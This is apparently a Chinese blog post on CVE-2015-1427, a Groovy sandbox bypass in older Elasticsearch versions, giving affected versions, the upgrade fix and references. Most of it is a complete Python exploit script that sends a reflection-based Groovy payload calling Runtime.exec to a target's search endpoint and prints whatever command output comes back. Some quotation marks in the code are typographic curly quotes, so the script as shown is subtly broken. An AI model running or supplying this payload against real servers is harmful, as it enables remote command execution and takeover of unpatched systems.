Elasticsearch Groovy任意命令执行漏洞EXP
ElasticSearch爆出严重安全漏洞(CVE-2015-1427),该漏洞可造成远程代码执行,攻击者可直接获取系统权限,危害较大,请广大用户注意。
漏洞危害:
攻击者可利用该远程任意命令执行漏洞获取主机最高权限
漏洞描述:
漏洞出现在脚本查询模块,默认搜索引擎支持使用脚本代码(MVEL)作为表达式进行数据操作,MVEL会被脚本语言引擎换成Groovy,并且加入了沙盒进行控制,危险的代码会在这里被拦截。但是安全研究人员发现,沙盒限制存在过滤不严的情况,攻击者可以通过MVEL构造执行任意java代码,导致远程代码执行。
影响版本:
Elasticsearch 内置Groovy脚本引擎版本<1.3.8, 1.4.x系列<1.4.3
修复方法:
升级到1.4.3或者1.3.8
http://www.elasticsearch.org/downloads/1-4-3
http://www.elasticsearch.org/downloads/1-3-8
参考:
http://www.elasticsearch.com/blog/elasticsearch-1-4-3-1-3-8-released
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1427
http://drops.wooyun.org/papers/5107
Elasticsearch Groovy任意命令执行漏洞EXP
[php]
#!/usr/bin/env python
import urllib
import urllib2
import json
import sys
def execute(url,command):
parameters = {"size":1,
"script_fields":
{"iswin":
{"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).\
newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.\
class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\").\
getInputStream())).readLines()" % command,"lang": "groovy"}
}
}
data = json.dumps(parameters)
try:
request=urllib2.Request(url+"_search?pretty",data)
request.add_header(‘User-Agent’, ‘Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36’)
response=urllib2.urlopen(request)
result = json.loads(response.read())["hits"]["hits"][0]["fields"]["iswin"][0]
for i in result:
print i
except Exception, e:
print e
if __name__ == ‘__main__’:
if len(sys.argv) != 3:
print "usage %s url command" % sys.argv[0]
else:
execute(sys.argv[1],sys.argv[2])
[/php]
原创文章,作者:老D,如若转载,请注明出处:https://laod.cn/409.html